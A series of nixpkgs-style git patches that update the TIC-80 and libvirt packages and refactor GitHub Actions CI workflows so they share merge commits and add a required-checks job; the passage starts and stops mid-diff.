   # Whether to build TIC-80's "Pro" version, which is an incentive to support the project financially,
   # that enables some additional features. It is, however, fully open source.
   withPro ? false,
 }:
 let
-  major = "1";
-  minor = "1";
-  revision = "2837";
-  year = "2023";
+  # git rev-list HEAD --count
+  revision = "3016";
+  year = "2025";
 in
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation {
   pname = "tic-80";
-  version = "${major}.${minor}.${revision}";
+  # use an untagged version until upstream tags a new version. We want
+  # 'PREFER_SYSTEM_LIBRARIES', and without it tic-80 won't build
+  version = "1.1-unstable-2025-05-26";
 
   src = fetchFromGitHub {
     owner = "nesbox";
     repo = "TIC-80";
-    rev = "v" + version;
-    hash = "sha256-p7OyuD/4KxAzylQDlXW681TvEZwKYDD4zq2KDRkcv48=";
-    # TIC-80 vendors its dependencies as submodules, so to use its current build system,
-    # we need to fetch them. Managing the dependencies ourselves would require a lot of
-    # changes in the build system, which doesn't seem worth it right now. In future versions,
-    # TIC-80 is switching to more modular CMake files, at which point we can reconsider.
+    rev = "663d43924abf6fd7620de6bf25c009ce5b30ab83";
+    hash = "sha256-UjBnXxYZ5gfk58sI1qek5fkKpJ7LzOVmrxdjVgONcXc=";
+    # TIC-80 vendors its dependencies as submodules. For the following dependencies,
+    # there are no (or no compatible) packages in nixpkgs yet, so we use the vendored
+    # ones as a fill-in: kubazip, wasm, squirrel, pocketpy, argparse, naett,
+    # sdlgpu, mruby.
     fetchSubmodules = true;
   };
 
@@ -61,7 +48,7 @@ stdenv.mkDerivation rec {
   # To avoid the awkward copyright range of "2017-1980", which would be caused by the
   # sandbox environment, hardcode the year of the release.
   postPatch = ''
-    substituteInPlace CMakeLists.txt \
+    substituteInPlace cmake/version.cmake \
       --replace-fail 'set(VERSION_REVISION 0)' 'set(VERSION_REVISION ${revision})' \
       --replace-fail 'string(TIMESTAMP VERSION_YEAR "%Y")' 'set(VERSION_YEAR "${year}")'
   '';
@@ -72,7 +59,20 @@ stdenv.mkDerivation rec {
     unset LD
   '';
 
-  cmakeFlags = lib.optionals withPro [ "-DBUILD_PRO=On" ] ++ [ "-DBUILD_SDLGPU=On" ];
+  cmakeFlags =
+    let
+      enableCmakeBool = (lib.flip lib.cmakeBool) true;
+    in
+    [
+      (lib.cmakeBool "BUILD_PRO" withPro)
+    ]
+    ++ (map enableCmakeBool [
+      "BUILD_STATIC"
+      "PREFER_SYSTEM_LIBRARIES"
+      "BUILD_SDLGPU"
+      "BUILD_WITH_ALL"
+    ]);
+
   nativeBuildInputs = [
     cmake
     curl
@@ -81,54 +81,15 @@ stdenv.mkDerivation rec {
     rake
   ];
   buildInputs = [
-    alsa-lib
-    dbus
-    libdecor
     libGL
     libGLU
-    libICE
-    libpulseaudio
     libX11
-    libXcursor
-    libXext
-    libXi
-    libXinerama
-    libxkbcommon
-    libXrandr
-    libXScrnSaver
-    libXxf86vm
-    pipewire
-    udev
-    wayland
-    wayland-protocols
-    wayland-scanner
+    janet
+    (lua5_3.withPackages (ps: [ ps.fennel ]))
+    quickjs
+    SDL2
   ];
 
-  # This package borrows heavily from pkgs/development/libraries/SDL2/default.nix
-  # because TIC-80 vendors SDL2, which means we need to take care and implement
-  # a similar environment in TIC-80's vendored copy of SDL2.
-  #
-  # SDL is weird in that instead of just dynamically linking with
-  # libraries when you `--enable-*` (or when `configure` finds) them
-  # it `dlopen`s them at runtime. In principle, this means it can
-  # ignore any missing optional dependencies like alsa, pulseaudio,
-  # some x11 libs, wayland, etc if they are missing on the system
-  # and/or work with wide array of versions of said libraries. In
-  # nixpkgs, however, we don't need any of that. Moreover, since we
-  # don't have a global ld-cache we have to stuff all the propagated
-  # libraries into rpath by hand or else some applications that use
-  # SDL API that requires said libraries will fail to start.
-  #
-  # You can grep SDL sources with `grep -rE 'SDL_(NAME|.*_SYM)'` to
-  # list the symbols used in this way.
-  postFixup =
-    let
-      rpath = lib.makeLibraryPath buildInputs;
-    in
-    ''
-      patchelf --set-rpath "$(patchelf --print-rpath $out/bin/tic80):${rpath}" "$out/bin/tic80"
-    '';
-
   meta = with lib; {
     description = "A free and open source fantasy computer for making, playing and sharing tiny games";
     longDescription = ''
@@ -151,7 +112,5 @@ stdenv.mkDerivation rec {
     platforms = platforms.linux;
     mainProgram = "tic80";
     maintainers = with maintainers; [ blinry ];
-    # /build/source/vendor/sdl2/src/audio/pipewire/SDL_pipewire.c:623:37: error: passing argument 1 of 'pw_node_enum_params' from incompatible pointer type [-Wincompatible-pointer-types]
-    broken = true;
   };
 }

From 50fbaf8d2b6bb7648fac5d18b195fbe7cd7042da Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 09:22:17 +0200
Subject: [PATCH 1281/4511] workflows/eval: small improvements

Some naming improvements after we introduced the PR / Push workflows and
small refactors.

(cherry picked from commit 69ab2f4347f82e3d28932e71ed5ef8630a41a19c)
---
 .github/workflows/eval.yml | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index f7ce71e4dde1..c17b1304deca 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -92,14 +92,13 @@ jobs:
             let run_id
             try {
               run_id = (await github.rest.actions.listWorkflowRuns({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
+                ...context.repo,
                 workflow_id: 'push.yml',
                 event: 'push',
                 head_sha: targetSha
               })).data.workflow_runs[0].id
             } catch {
-              throw new Error(`Could not find an push.yml workflow run for ${targetSha}.`)
+              throw new Error(`Could not find a push.yml workflow run for ${targetSha}.`)
             }
 
             core.setOutput('targetRunId', run_id)
@@ -108,8 +107,7 @@ jobs:
             // Eval takes max 5-6 minutes, normally.
             for (let i = 0; i < 120; i++) {
               const result = await github.rest.actions.listWorkflowRunArtifacts({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
+                ...context.repo,
                 run_id,
                 name: `merged-${system}`
               })
@@ -224,10 +222,9 @@ jobs:
               `${serverUrl}/${repo.owner}/${repo.repo}/actions/runs/${runId}?pr=${payload.pull_request.number}`
 
             await github.rest.repos.createCommitStatus({
-              owner: repo.owner,
-              repo: repo.repo,
+              ...repo,
               sha: payload.pull_request.head.sha,
-              context: 'Eval / Summary',
+              context: 'Eval Summary',
               state: 'success',
               description,
               target_url

From c517d38192ca1526817f0373b69278b19ffabce3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 20:23:14 +0200
Subject: [PATCH 1282/4511] workflows/{pr,push}: move prepare job from eval
 workflow

This is only a refactor at this stage, but split into a separate commit
for better review. It's the base for the next two commits.

(cherry picked from commit 9422f30e470dbb9d1925306fc36a674475894ee1)
---
 .github/workflows/eval.yml | 53 ++++++++++++++------------------------
 .github/workflows/pr.yml   | 26 +++++++++++++++++++
 .github/workflows/push.yml | 19 ++++++++++++++
 3 files changed, 65 insertions(+), 33 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index c17b1304deca..2db06fd9937c 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -2,6 +2,15 @@ name: Eval
 
 on:
   workflow_call:
+    inputs:
+      mergedSha:
+        required: true
+        type: string
+      targetSha:
+        type: string
+      systems:
+        required: true
+        type: string
     secrets:
       OWNER_APP_PRIVATE_KEY:
         required: false
@@ -13,34 +22,12 @@ defaults:
     shell: bash
 
 jobs:
-  prepare:
-    runs-on: ubuntu-24.04-arm
-    outputs:
-      mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
-      targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
-      systems: ${{ steps.systems.outputs.systems }}
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: |
-            .github/actions
-            ci/supportedSystems.json
-      - name: Check if the PR can be merged and get the test merge commit
-        uses: ./.github/actions/get-merge-commit
-        id: get-merge-commit
-
-      - name: Load supported systems
-        id: systems
-        run: |
-          echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
-
   eval:
     runs-on: ubuntu-24.04-arm
-    needs: [prepare]
     strategy:
       fail-fast: false
       matrix:
-        system: ${{ fromJSON(needs.prepare.outputs.systems) }}
+        system: ${{ fromJSON(inputs.systems) }}
     name: ${{ matrix.system }}
     steps:
       - name: Enable swap
@@ -53,7 +40,7 @@ jobs:
       - name: Check out the PR at the test merge commit
         uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
-          ref: ${{ needs.prepare.outputs.mergedSha }}
+          ref: ${{ inputs.mergedSha }}
           path: untrusted
 
       - name: Install Nix
@@ -78,12 +65,12 @@ jobs:
           path: merged/*
 
       - name: Get target run id
-        if: needs.prepare.outputs.targetSha
+        if: inputs.targetSha
         id: targetRunId
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
-          TARGET_SHA: ${{ needs.prepare.outputs.targetSha }}
+          TARGET_SHA: ${{ inputs.targetSha }}
         with:
           script: |
             const system = process.env.MATRIX_SYSTEM
@@ -145,8 +132,8 @@ jobs:
 
   compare:
     runs-on: ubuntu-24.04-arm
-    needs: [prepare, eval]
-    if: needs.prepare.outputs.targetSha
+    needs: [eval]
+    if: inputs.targetSha
     permissions:
       issues: write # needed to create *new* labels
       pull-requests: write
@@ -162,7 +149,7 @@ jobs:
       - name: Check out the PR at the target commit
         uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
-          ref: ${{ needs.prepare.outputs.targetSha }}
+          ref: ${{ inputs.targetSha }}
           path: trusted
 
       - name: Install Nix
@@ -180,8 +167,8 @@ jobs:
         env:
           AUTHOR_ID: ${{ github.event.pull_request.user.id }}
         run: |
-          git -C trusted fetch --depth 1 origin ${{ needs.prepare.outputs.mergedSha }}
-          git -C trusted diff --name-only ${{ needs.prepare.outputs.mergedSha }} \
+          git -C trusted fetch --depth 1 origin ${{ inputs.mergedSha }}
+          git -C trusted diff --name-only ${{ inputs.mergedSha }} \
             | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
 
           # Use the target branch to get accurate maintainer info
@@ -243,8 +230,8 @@ jobs:
     # No dependency on "compare", so that it can start at the same time.
     # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
     # for the eval workflow considerably faster.
-    needs: [prepare, eval]
-    if: needs.prepare.outputs.targetSha
+    needs: [eval]
+    if: inputs.targetSha
     uses: ./.github/workflows/reviewers.yml
     secrets:
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 924a60d3752d..df2573b39414 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -18,6 +18,27 @@ concurrency:
 permissions: {}
 
 jobs:
+  prepare:
+    runs-on: ubuntu-24.04-arm
+    outputs:
+      mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
+      targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
+      systems: ${{ steps.systems.outputs.systems }}
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: |
+            .github/actions
+            ci/supportedSystems.json
+      - name: Check if the PR can be merged and get the test merge commit
+        uses: ./.github/actions/get-merge-commit
+        id: get-merge-commit
+
+      - name: Load supported systems
+        id: systems
+        run: |
+          echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
+
   check:
     name: Check
     uses: ./.github/workflows/check.yml
@@ -31,6 +52,7 @@ jobs:
 
   eval:
     name: Eval
+    needs: [prepare]
     uses: ./.github/workflows/eval.yml
     permissions:
       # compare
@@ -39,6 +61,10 @@ jobs:
       statuses: write
     secrets:
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
+    with:
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}
+      targetSha: ${{ needs.prepare.outputs.targetSha }}
+      systems: ${{ needs.prepare.outputs.systems }}
 
   build:
     name: Build
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index a6836b186e06..407b77194f35 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -18,8 +18,24 @@ on:
 permissions: {}
 
 jobs:
+  prepare:
+    runs-on: ubuntu-24.04-arm
+    outputs:
+      systems: ${{ steps.systems.outputs.systems }}
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: |
+            ci/supportedSystems.json
+
+      - name: Load supported systems
+        id: systems
+        run: |
+          echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
+
   eval:
     name: Eval
+    needs: [prepare]
     uses: ./.github/workflows/eval.yml
     # Those are not actually used on push, but will throw an error if not set.
     permissions:
@@ -27,3 +43,6 @@ jobs:
       issues: write
       pull-requests: write
       statuses: write
+    with:
+      mergedSha: ${{ github.sha }}
+      systems: ${{ needs.prepare.outputs.systems }}

From 5d1d71680cb6f94080582f781807b564f9dd0ee2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 20:43:03 +0200
Subject: [PATCH 1283/4511] workflows: sync merge commits

This fixes a problem where each workflow would get their own merge
commit. This happens frequently when the target branch is merged into a
the same time, different workflows in the same run will run
get-merge-commit at different times and thus have different merge
commits.

Since the jobs don't really depend on each other, this doesn't cause
practical problems, yet. But it has already led to strange CI failures
in a still unmerged PR, which can be prevented from happening with this
clean approach.

And yes, this saves a few API calls on every run.

(cherry picked from commit 09ddb1a8a0f94409ae121116b5d4b0f9a02915c0)
---
 .github/actions/get-merge-commit/action.yml | 15 +++++++++++----
 .github/workflows/build.yml                 |  5 +++++
 .github/workflows/lint.yml                  | 11 +++++++++++
 .github/workflows/pr.yml                    |  7 +++++++
 4 files changed, 34 insertions(+), 4 deletions(-)

diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index 3766ad4f4ea0..aec17bf76858 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -3,9 +3,15 @@ name: Get merge commit
 description: 'Checks whether the Pull Request is mergeable and checks out the repo at up to two commits: The result of a temporary merge of the head branch into the target branch ("merged"), and the parent of that commit on the target branch ("target"). Handles push events and merge conflicts gracefully.'
 
 inputs:
+  mergedSha:
+    description: "The merge commit SHA, previously collected."
+    type: string
   merged-as-untrusted:
     description: "Whether to checkout the merge commit in the ./untrusted folder."
     type: boolean
+  targetSha:
+    description: "The target commit SHA, previously collected."
+    type: string
   target-as-trusted:
     description: "Whether to checkout the target commit in the ./trusted folder."
     type: boolean
@@ -22,6 +28,7 @@ runs:
   using: composite
   steps:
     - id: commits
+      if: ${{ !inputs.mergedSha && !inputs.targetSha }}
       uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       with:
         script: |
@@ -72,17 +79,17 @@ runs:
           }
           throw new Error("Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.")
 
-    - if: inputs.merged-as-untrusted && steps.commits.outputs.mergedSha
+    - if: inputs.merged-as-untrusted && (inputs.mergedSha || steps.commits.outputs.mergedSha)
       # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
       # but Nix is broken with them:
       # https://github.com/NixOS/nix/issues/6073
       uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
       with:
-        ref: ${{ steps.commits.outputs.mergedSha }}
+        ref: ${{ inputs.mergedSha || steps.commits.outputs.mergedSha }}
         path: untrusted
 
-    - if: inputs.target-as-trusted && steps.commits.outputs.targetSha
+    - if: inputs.target-as-trusted && (inputs.targetSha || steps.commits.outputs.targetSha)
       uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
       with:
-        ref: ${{ steps.commits.outputs.targetSha }}
+        ref: ${{ inputs.targetSha || steps.commits.outputs.targetSha }}
         path: trusted
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 897bde43b645..594081924604 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -2,6 +2,10 @@ name: Build
 
 on:
   workflow_call:
+    inputs:
+      mergedSha:
+        required: true
+        type: string
     secrets:
       CACHIX_AUTH_TOKEN:
         required: true
@@ -39,6 +43,7 @@ jobs:
       - name: Check if the PR can be merged and checkout the merge commit
         uses: ./.github/actions/get-merge-commit
         with:
+          mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
       - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 19540306148a..4bf917d800db 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -2,6 +2,13 @@ name: Lint
 
 on:
   workflow_call:
+    inputs:
+      mergedSha:
+        required: true
+        type: string
+      targetSha:
+        required: true
+        type: string
 
 permissions: {}
 
@@ -19,6 +26,7 @@ jobs:
       - name: Check if the PR can be merged and checkout the merge commit
         uses: ./.github/actions/get-merge-commit
         with:
+          mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
       - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
@@ -50,6 +58,7 @@ jobs:
       - name: Check if the PR can be merged and checkout the merge commit
         uses: ./.github/actions/get-merge-commit
         with:
+          mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
       - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
@@ -72,7 +81,9 @@ jobs:
       - name: Check if the PR can be merged and checkout merged and target commits
         uses: ./.github/actions/get-merge-commit
         with:
+          mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
+          targetSha: ${{ inputs.targetSha }}
           target-as-trusted: true
 
       - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index df2573b39414..51828270178f 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -48,7 +48,11 @@ jobs:
 
   lint:
     name: Lint
+    needs: [prepare]
     uses: ./.github/workflows/lint.yml
+    with:
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}
+      targetSha: ${{ needs.prepare.outputs.targetSha }}
 
   eval:
     name: Eval
@@ -68,6 +72,9 @@ jobs:
 
   build:
     name: Build
+    needs: [prepare]
     uses: ./.github/workflows/build.yml
     secrets:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
+    with:
+      mergedSha: ${{ needs.prepare.outputs.mergedSha }}

From ef60f61068544e0457312e6e33b75efefeceb782 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 20:49:18 +0200
Subject: [PATCH 1284/4511] workflows/{labels,reviewers}: move from Eval to PR
 context

This allows *not* depending on those two jobs with the required status
checks in the next commit, which wouldn't really make sense. If labeling
or pinging maintainers fails for obscure reasons or because the GitHub
API is down, a PR might still pass all other tests and be
merge-eligible.

(cherry picked from commit 9927d758e798620092b69b8ae1a1021c859e4419)
---
 .github/workflows/eval.yml | 21 ---------------------
 .github/workflows/pr.yml   | 18 ++++++++++++++++--
 2 files changed, 16 insertions(+), 23 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 2db06fd9937c..bbc50810f5d1 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -135,8 +135,6 @@ jobs:
     needs: [eval]
     if: inputs.targetSha
     permissions:
-      issues: write # needed to create *new* labels
-      pull-requests: write
       statuses: write
     steps:
       - name: Download output paths and eval stats for all systems
@@ -217,25 +215,6 @@ jobs:
               target_url
             })
 
-  labels:
-    name: Labels
-    needs: [compare]
-    uses: ./.github/workflows/labels.yml
-    permissions:
-      issues: write
-      pull-requests: write
-
-  reviewers:
-    name: Reviewers
-    # No dependency on "compare", so that it can start at the same time.
-    # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
-    # for the eval workflow considerably faster.
-    needs: [eval]
-    if: inputs.targetSha
-    uses: ./.github/workflows/reviewers.yml
-    secrets:
-      OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
-
   misc:
     if: ${{ github.event_name != 'push' }}
     runs-on: ubuntu-24.04-arm
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 51828270178f..667a130287af 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -60,8 +60,6 @@ jobs:
     uses: ./.github/workflows/eval.yml
     permissions:
       # compare
-      issues: write
-      pull-requests: write
       statuses: write
     secrets:
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
@@ -70,6 +68,22 @@ jobs:
       targetSha: ${{ needs.prepare.outputs.targetSha }}
       systems: ${{ needs.prepare.outputs.systems }}
 
+  labels:
+    name: Labels
+    needs: [eval]
+    uses: ./.github/workflows/labels.yml
+    permissions:
+      issues: write
+      pull-requests: write
+
+  reviewers:
+    name: Reviewers
+    needs: [prepare, eval]
+    if: needs.prepare.outputs.targetSha
+    uses: ./.github/workflows/reviewers.yml
+    secrets:
+      OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
+
   build:
     name: Build
     needs: [prepare]

From f03ee0db7b09826893602b9d66acb2fd41a49a15 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 18 Jun 2025 20:58:04 +0200
Subject: [PATCH 1285/4511] workflows/pr: add required job

This job serves as a target for the "Required Status Checks" branch
protection rule.

(cherry picked from commit caf4ced100486e2058921c537089289d77fd5315)
---
 .github/workflows/pr.yml | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 667a130287af..8e92b5aed816 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -92,3 +92,23 @@ jobs:
       CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
+
+  # This job's only purpose is to serve as a target for the "Required Status Checks" branch ruleset.
+  # It "needs" all the jobs that should block merging a PR.
+  # If they pass, it is skipped — which counts as "success" for purposes of the branch ruleset.
+  # However, if any of them fail, this job will also fail — thus blocking the branch ruleset.
+  no-pr-failures:
+    # Modify this list to add or remove jobs from required status checks.
+    needs:
+      - check
+      - lint
+      - eval
+      - build
+    # WARNING:
+    # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
+    # This would prevent all PRs from merging.
+    name: no PR failures
+    if: ${{ failure() }}
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - run: exit 1

From 99b9de58498c1f3400e313ff7fe4edb159077620 Mon Sep 17 00:00:00 2001
From: Philipp Schuster <philipp.schuster@cyberus-technology.de>
Date: Mon, 16 Jun 2025 17:27:14 +0200
Subject: [PATCH 1286/4511] libvirt: 11.0.0 -> 11.4.0

Signed-off-by: Philipp Schuster <philipp.schuster@cyberus-technology.de>
On-behalf-of: SAP philipp.schuster@sap.com
(cherry picked from commit 3addbfc1eb2167e9460177e697a6d701e45f3a94)
---
 ...n-install-prefix-for-building-on-nix.patch | 53 ++++++++-----------
 pkgs/by-name/li/libvirt/package.nix           |  4 +-
 .../python-modules/libvirt/default.nix        |  4 +-
 pkgs/top-level/perl-packages.nix              |  4 +-
 4 files changed, 29 insertions(+), 36 deletions(-)

diff --git a/pkgs/by-name/li/libvirt/0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch b/pkgs/by-name/li/libvirt/0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch
index 5345dffc0445..cc4981130eeb 100644
--- a/pkgs/by-name/li/libvirt/0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch
+++ b/pkgs/by-name/li/libvirt/0001-meson-patch-in-an-install-prefix-for-building-on-nix.patch
@@ -402,10 +402,10 @@ index 3b859ea7b4..ccddb3e805 100644
    ]
  endif
 diff --git a/src/security/apparmor/meson.build b/src/security/apparmor/meson.build
-index b9257c816d..98701755d8 100644
+index 09d9fac02c..ee0c74ceec 100644
 --- a/src/security/apparmor/meson.build
 +++ b/src/security/apparmor/meson.build
-@@ -57,7 +57,7 @@ foreach name : apparmor_gen_profiles
+@@ -20,16 +20,16 @@ foreach name : apparmor_gen_profiles
      output: name,
      configuration: apparmor_gen_profiles_conf,
      install: true,
@@ -413,39 +413,25 @@ index b9257c816d..98701755d8 100644
 +    install_dir: install_prefix + apparmor_dir,
    )
  endforeach
- 
-@@ -68,13 +68,13 @@ foreach name : apparmor_gen_abstractions
-     command: apparmor_gen_cmd,
-     capture: true,
-     install: true,
--    install_dir: apparmor_dir / 'abstractions',
-+    install_dir: install_prefix + apparmor_dir / 'abstractions',
-   )
- endforeach
- 
+
+ install_data(
+   [ 'libvirt-qemu', 'libvirt-lxc' ],
+-  install_dir: apparmor_dir / 'abstractions',
++  install_dir: install_prefix + apparmor_dir / 'abstractions',
+ )
+
  install_data(
    [ 'TEMPLATE.qemu', 'TEMPLATE.lxc' ],
 -  install_dir: apparmor_dir / 'libvirt',
 +  install_dir: install_prefix + apparmor_dir / 'libvirt',
  )
- 
- if not conf.has('WITH_APPARMOR_3')
-@@ -83,7 +83,7 @@ if not conf.has('WITH_APPARMOR_3')
-   # files in order to limit the amount of filesystem clutter.
-   install_data(
-     'usr.lib.libvirt.virt-aa-helper.local',
--    install_dir: apparmor_dir / 'local',
-+    install_dir: install_prefix + apparmor_dir / 'local',
-     rename: 'usr.lib.libvirt.virt-aa-helper',
-   )
- endif
 diff --git a/src/storage/meson.build b/src/storage/meson.build
 index 404d6a6941..fb4e67a0a8 100644
 --- a/src/storage/meson.build
 +++ b/src/storage/meson.build
 @@ -126,9 +126,9 @@ if conf.has('WITH_STORAGE')
    }
- 
+
    virt_install_dirs += [
 -    confdir / 'storage',
 -    confdir / 'storage' / 'autostart',
@@ -455,20 +441,27 @@ index 404d6a6941..fb4e67a0a8 100644
 +    install_prefix + runstatedir / 'libvirt' / 'storage',
    ]
  endif
- 
+
 diff --git a/tools/meson.build b/tools/meson.build
-index 1bb84be0be..e04a4e986d 100644
+index a099148d3c..d0d6510f17 100644
 --- a/tools/meson.build
 +++ b/tools/meson.build
-@@ -121,7 +121,7 @@ if conf.has('WITH_LOGIN_SHELL')
+@@ -123,12 +123,12 @@ if conf.has('WITH_LOGIN_SHELL')
      install_rpath: libvirt_rpath,
    )
- 
+
 -  install_data('virt-login-shell.conf', install_dir: sysconfdir / 'libvirt')
 +  install_data('virt-login-shell.conf', install_dir: install_prefix + sysconfdir / 'libvirt')
+
+   # Install the sysuser config for the setgid binary
+   install_data(
+     'libvirt-login-shell.sysusers.conf',
+-    install_dir: sysusersdir,
++    install_dir: install_prefix + sysusersdir,
+     rename: [ 'libvirt-login-shell.conf' ],
+   )
  endif
- 
- if host_machine.system() == 'windows'
+
 diff --git a/tools/ssh-proxy/meson.build b/tools/ssh-proxy/meson.build
 index e9f312fa25..95d5d8fe0b 100644
 --- a/tools/ssh-proxy/meson.build
diff --git a/pkgs/by-name/li/libvirt/package.nix b/pkgs/by-name/li/libvirt/package.nix
index 1acf1f761392..45c715ab5a44 100644
--- a/pkgs/by-name/li/libvirt/package.nix
+++ b/pkgs/by-name/li/libvirt/package.nix
@@ -115,14 +115,14 @@ assert enableZfs -> isLinux;
 stdenv.mkDerivation rec {
   pname = "libvirt";
   # if you update, also bump <nixpkgs/pkgs/development/python-modules/libvirt/default.nix> and SysVirt in <nixpkgs/pkgs/top-level/perl-packages.nix>
-  version = "11.0.0";
+  version = "11.4.0";
 
   src = fetchFromGitLab {
     owner = "libvirt";
     repo = "libvirt";
     tag = "v${version}";
     fetchSubmodules = true;
-    hash = "sha256-QxyOc/RbWZnjA4XIDNK7xZqBcP2ciHsOlszaa5pl6XA=";
+    hash = "sha256-0bOX95Ly8d1/XZan/EyxI6JaACJvOu9QsTkFNQTreqI=";
   };
 
   patches =
diff --git a/pkgs/development/python-modules/libvirt/default.nix b/pkgs/development/python-modules/libvirt/default.nix
index c8f59352cab4..891965e2e941 100644
--- a/pkgs/development/python-modules/libvirt/default.nix
+++ b/pkgs/development/python-modules/libvirt/default.nix
@@ -12,14 +12,14 @@
 
 buildPythonPackage rec {
   pname = "libvirt";
-  version = "11.0.0";
+  version = "11.4.0";
   pyproject = true;
 
   src = fetchFromGitLab {
     owner = "libvirt";
     repo = "libvirt-python";
     tag = "v${version}";
-    hash = "sha256-c6viZTQFpLB+k/f45m/AZe+ggDxQbGjQgD51yCuyepc=";
+    hash = "sha256-jI14/lBuqSqI8mnTa7dqa+B+6tU2erW6wlT8E0eTgtY=";
   };
 
   postPatch = ''
diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index cdf16e7eaf73..094e405a1d11 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -32347,12 +32347,12 @@ with self;
 
   SysVirt = buildPerlModule rec {
     pname = "Sys-Virt";
-    version = "11.0.0";
+    version = "11.2.0";
     src = fetchFromGitLab {
